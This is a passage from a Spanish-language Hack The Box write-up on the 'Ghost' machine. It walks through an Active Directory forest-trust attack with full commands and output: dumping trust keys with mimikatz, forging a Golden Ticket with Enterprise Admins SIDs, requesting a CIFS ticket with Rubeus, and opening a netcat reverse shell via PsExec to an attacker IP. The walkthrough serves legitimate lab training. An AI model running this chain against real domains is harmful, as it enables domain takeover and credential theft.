WhenCreated     : 2/1/2024 2:33:33 AM
WhenChanged     : 2/1/2024 2:35:13 AM

Tenemos una confianza (trust) Bidirectional. Por lo que podemos tratar de performar un ataque Trust Forest Attack. Este post escrito por harmj0y da una muy buena explicación para este tópico. En mi caso, seguiré indicaciones y tips de esta página explicando cómo solicitar tickets basados en este “trust”.

Subimos mimikatz a la máquina víctima para obtener el SID del dominio CORP.GHOST.HTB y una “trust key” ejecutando:

C:\Users\Public\Downloads>.\mimikatz.exe

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::trust /patch

Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -> GHOST.HTB
    * 10/13/2024 7:38:38 PM - CLEAR   - 58 40 0f e6 53 5a 4f 77 ca 75 b5 74 62 23 d9 b4 ca 2d 77 ba 4f 13 67 71 fb 8e 01 e3 f3 8b 9c 05 aa ae 86 8a 5c 65 5d ff 0a 36 0e 53 13 6d 90 3e 9f df e1 52 6e b0 06 5f 28 01 c6 dc 84 16 d3 6f 38 8a b5 b4 aa d2 d7 c4 6e c6 35 49 bc 41 8c 1e 8e 24 22 a0 3b 74 0a 4d 34 eb 45 b8 c3 30 6f 2a 40 08 f0 5b ee 19 e2 ed ed b1 8a df bd d5 93 4f 20 fa 94 b1 30 f1 17 fb 04 43 99 a5 88 1d 05 48 da 72 25 79 7e 21 1d 5f 5b 06 3a 4e 17 e4 26 6b 5f 23 f0 f9 50 17 36 9f f5 92 75 da 79 88 6d 24 7d e8 23 96 db 9f 3b 2b f6 0f 16 7d 9d 0c 32 31 14 8d 1d 46 e3 4e c7 99 7d 07 cf 71 f8 9f 74 c2 b4 f9 42 c9 01 2d 75 a6 ba 36 a1 1f 8c 7e f6 85 88 89 bc a7 fa bf 3a 99 46 74 f7 78 8d 0f 95 4d 8e ea 55 52 b7 ec 8c f7 75 f0 75 18 78 57 1c d9
        * aes256_hmac       f22772408a7dc9200a603fbcfa204dc9c7ba75d7f1a250942a1a35df1417e02a
        * aes128_hmac       03c3fc5d6267a2f76cbb6e03475a8b4d
        * rc4_hmac_nt       4b04c5ac6cca84114f4e965d96ca2d38

 [ Out ] GHOST.HTB -> CORP.GHOST.HTB
    * 10/13/2024 7:52:29 PM - CLEAR   - fd f0 a1 41 19 b2 8b f4 21 13 e1 66 04 f4 94 be e7 1b 91 f7 f7 45 87 11 3d 0a 93 6d 14 dc ad c7 4b 1c 22 e6 8b 60 cb 5a dc f4 fd 3a ed 29 b7 ee 40 eb 7a e3 af f0 72 36 62 d6 92 4e 39 98 72 13 5b b6 d3 2e 1b 77 9c c3 f0 d4 c6 9d 40 73 91 af e7 1b 32 16 d0 1b 95 54 7b 13 6d 53 29 b2 90 54 fd c2 d1 c4 84 d2 5f 44 da 58 70 67 50 88 b0 46 7a 85 92 57 b6 5d aa 59 19 73 0a dd 3f b3 f4 96 99 98 a4 b2 17 cf b6 5f f7 e0 95 57 32 00 4c 79 a2 ef 1b a3 b3 fb f8 4b 4c ac d0 e7 80 c0 d7 25 c5 2e ac 9f 2c b4 e6 07 66 2a fe e7 e8 1f 80 ca 6c 36 a4 07 e0 6e 6c 4d 3d 4b 77 58 74 20 e7 cf 01 ed c9 f7 4d 00 9d 6a 43 64 fa b5 3c 2e 64 be c4 e2 2a 01 be d1 60 e0 2d b2 16 6b cf 8e 11 23 b1 f7 12 fa 26 5a 8e 19 93 a3 b8 7e 88 ac d8 84
        * aes256_hmac       682cceb0224c8ca35c5246ad35cc242e94e5e41d3a0cf2e45adcc4a1cd6e4b29
        * aes128_hmac       683e4686edf7fbd33afca4e98e2a4925
        * rc4_hmac_nt       ec213e210bc8a69ff6d9d62c1518e057

 [ In-1] CORP.GHOST.HTB -> GHOST.HTB
    * 7/22/2024 9:21:26 AM - CLEAR   - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f
        * aes256_hmac       de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
        * aes128_hmac       b55ca148bc95f95b8cb72f67661e1a08
        * rc4_hmac_nt       0b0124f5d6c07ad530d6bf6a6404fdaa

 [Out-1] GHOST.HTB -> CORP.GHOST.HTB
    * 10/13/2024 7:52:29 PM - CLEAR   - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b
        * aes256_hmac       b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
        * aes128_hmac       81f4c2f21a640eed29861d71a619b4bb
        * rc4_hmac_nt       ea4e9954536eb29091fc96bbce83be23

Tenemos un SID para el dominio actual: S-1-5-21-2034262909-2733679486-179904498 y una “trust key” 4b04c5ac6cca84114f4e965d96ca2d38 (el hash NT, o RC4, para CORP.GHOST.HTB -> GHOST.HTB).

Necesitamos ahora obtener el valor SID para Administrator o Enterprise Admins:

C:\Users\Public\Downloads>wmic.exe useraccount get name,sid

wmic.exe useraccount get name,sid
Name                  SID
Administrator         S-1-5-21-2034262909-2733679486-179904498-500
Guest                 S-1-5-21-2034262909-2733679486-179904498-501
krbtgt                S-1-5-21-2034262909-2733679486-179904498-502
Administrator         S-1-5-21-4084500788-938703357-3654145966-500
Guest                 S-1-5-21-4084500788-938703357-3654145966-501
krbtgt                S-1-5-21-4084500788-938703357-3654145966-502
kathryn.holland       S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton     S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves        S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez      S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley        S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd           S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark            S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray          S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor          S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal    S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal  S-1-5-21-4084500788-938703357-3654145966-3615

Tenemos el valor SID de S-1-5-21-2034262909-2733679486-179904498-500 para Administrator. De Bloodhound, podemos ver que S-1-5-21-4084500788-938703357-3654145966-519 es el SID para Enterprise Admins (buscando por Enterprise Admins, clickeando en éste y viendo sus propiedades).

Finalmente, en la misma sesión con mimikatz (si no hemos usado prviamente el comando lsadump::trust /patch con mimikatz antes, el comando que viene puede fallar, por lo que si hemos cerrado la sesión donde obtuvimos la “trust key” debemos volver a ejecutar aquel comando) forjamos un Golden Ticket siguiendo el ejemplo dado en TheHackerRecipes:

mimikatz # kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519  /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi

User      : Administrator
Domain    : CORP.GHOST.HTB (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ;
ServiceKey: 4b04c5ac6cca84114f4e965d96ca2d38 - rc4_hmac_nt
Service   : krbtgt
Target    : GHOST.HTB
Lifetime  : 10/13/2024 11:05:39 PM ; 10/11/2034 11:05:39 PM ; 10/11/2034 11:05:39 PM
-> Ticket : gunzf0x.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Esto genera un archivo .kirbi.

Para aquellos curiosos, los parameters/flags usados se pueden ver en más profundidad en esta página.

Subimos Rubeus a la máquina víctima y usamos el archivo .kirbi generado para solicitar un TGT como Administrator al servicio CIFS (que es equivalente a SMB) en la máquina DC01:

C:\Users\Public\Downloads>.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBENJRlMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6gwBGexNwLt8t2HOMgn3+7WOgAC8UOH17kcyq6IQjCcOG3bDmOpwakVq0Lli++P2rpmw5HaZSI65+pb4pMyaY/H1mIc+FysPyNYNLISIawcOnSkXN425Pc5w/ARRAU3eTZuUp/PyAbX1xs4NiYZjRQy5NpWvb71/qxVTQqkks6VbjWpmlIKLlJ5nlwXd/s6g6+tXQakRcB6E60Oxn/RiB1VLW2We8KRnYnm+wwo2qhQy/EGwATfIIYE7q0Pze3lIw3GyFDPsYlLZ3n3krBJrtadgoCZ/iiBreDjmOM/u9e1s8uY1a7j/6ko9qC4rfTfSvYduo7MPyD6KGGBiQGToPmKZo7KWs1RfjjXqWdE4ARyFeVqBlYBvOVMlcOLyfTYiIt6EMCV6/zF37SG079jiVf0y9vgHFujAVDsQSBHJxU/OWCEbbi63tNzAqC7GREEPWlSwes9UzYKhE22KjUQQYh6hPg7riRXuWeBKgVJMK+iJAh80QKbZR1m14X9GCuGq3e2/4x72Pc3yIuRafgFSRfgI0VX/QHKURDwq49GkkUtDn9p24PMh9d0a6MyEsm5/s44xQzz2uMgpt04R/jvcAJ5P/uI+3htVa3wuIsLb0ZQ6OmJe8lM+4+SEEVA2n8qiP4i4sMnM7l1wfcXL7HcpkJdZvkTAi0Ecq+odlzAZNyvQW8BJ9qj5PtAigNxB7NRVWjqpSstbcgKcYFWclmYwj2zeRywk5kOoI/A2ly3OVGmKAxWNiZOAtpFCTAS2sg6HerOLW34DUOlemzjZIXmGoDpZd0jODxXDTmRMll/3y87Jv5OyOKd4fQdePykZzIGmcUXPcMlrFmEBCZg1wfwbGuZrcocJl1IOPVaTfRSqJRJVApMDtKfjQSGxWYLzaydRakjaNXoXXD51G0nLOHQbcbHK54H/IuHk+xJzDuuLAT9UDJvi1q1yBr9iFQpTBmXSLC1dd2keSqqixYH4mWKFdqUxx33fBsXn9BL8Xz6w5M+k2+VQady25bKyODV1WxRL8iSaERf9ZZiNkPJsAB5sEDpJaSg8wUvXzBePDNo6SP4fs8LfHWD5Lsk65LSE+85ztQ/NRznxAgqDBd40RgH1kNdR7gW9kcm0iakFFxnD0sLN4lMQLsuiux8wN3YT1xO9z0EH2egFww9uksS5xFXjGvS+nbDWVcFrHevbIQAx/fyGLQSHihqT12U559xdi/7/iTJLW02Yx33MMOj5w679feYhGZ54soRYE2jgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCCDEX7RPQYBXZbDLe8Qiuw9WzqhUrJzExdi0iBeWCWSQ6EQGw5DT1JQLkdIT1NULkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDEwMTQwNjA1NDZaphEYDzIwMjQxMDE0MTYwNTQ2WqcRGA8yMDI0MTAyMTA2MDU0NlqoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEQ0lGUxsOZGMwMS5naG9zdC5odGI=

  ServiceName              :  CIFS/dc01.ghost.htb
  ServiceRealm             :  GHOST.HTB
  UserName                 :  Administrator
  UserRealm                :  CORP.GHOST.HTB
  StartTime                :  10/13/2024 11:05:46 PM
  EndTime                  :  10/14/2024 9:05:46 AM
  RenewTill                :  10/20/2024 11:05:46 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  gxF+0T0GAV2Wwy3vEIrsPVs6oVKycxMXYtIgXlglkkM=

Podemos ver si este ticket funciona usando el comando klist y ver si el ticket solicitado está cacheado:

C:\Users\Public\Downloads>klist

klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>     Client: Administrator @ CORP.GHOST.HTB
        Server: CIFS/dc01.ghost.htb @ GHOST.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 10/13/2024 23:05:46 (local)
        End Time:   10/14/2024 9:05:46 (local)
        Renew Time: 10/20/2024 23:05:46 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Lamentablemente, si solicitmaos recursos a la máquina DC01 obtenemos Access denied. Esto puede deberse a una diferencia de relojes entre la solicitud del ticket y la hora de solicitar recursos (Kerberos, te odio). Para solucionar esto podemos realizar todos los pasos que hicimos anteriormente “de golpe” en un oneliner:

C:\Users\Public\Downloads>.\mimikatz.exe "lsadump::trust /patch" exit && .\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519  /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi" exit && .\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt && dir \\dc01.ghost.htb\c$

<SNIP>
Volume in drive \\dc01.ghost.htb\c$ has no label.
 Volume Serial Number is 2804-C13F

 Directory of \\dc01.ghost.htb\c$

05/08/2021  01:20 AM    <DIR>          PerfLogs
07/22/2024  09:55 AM    <DIR>          Program Files
07/22/2024  09:55 AM    <DIR>          Program Files (x86)
02/04/2024  02:48 PM    <DIR>          Users
07/10/2024  03:08 AM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)   3,619,573,760 bytes free

Tenemos acceso al Desktop de Administrator en DC01:

C:\Users\Public\Downloads>dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
 Volume in drive \\dc01.ghost.htb\c$ has no label.
 Volume Serial Number is 2804-C13F

 Directory of \\dc01.ghost.htb\c$\Users\Administrator\Desktop

07/03/2024  01:28 PM    <DIR>          .
01/30/2024  10:19 AM    <DIR>          ..
10/13/2024  07:37 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,619,311,616 bytes free

Por fin podemos leer la flag de root para completar la máquina como este usuario (usando el comando type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt).

Pero si queremos ganar acceso a la máquina DC01, podemos subir un binario de PsExec64.exe (el cual puede ser descargado desde la página oficial de Microsoft). Descargado y traspasado el binario a la máquina víctima, creamos una copia del binario de nc subido anteriormente desde la máquina PRIMARY a la máquina DC01:

C:\Users\Public\Downloads>copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe \\dc01.ghost.htb\c$\Users\Public\Downloads\nc.exe

Finalmente, nos enviamos una reverse shell usando PsExec.exe y el binario de nc en DC01:

C:\Users\Public\Downloads>.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe"

.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e cmd.exe"

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting C:\Windows\System32\cmd.exe on DC01.ghost.htb...

Obtenemos una shell:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.24] 63075
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
corp\administrator

~Happy Hacking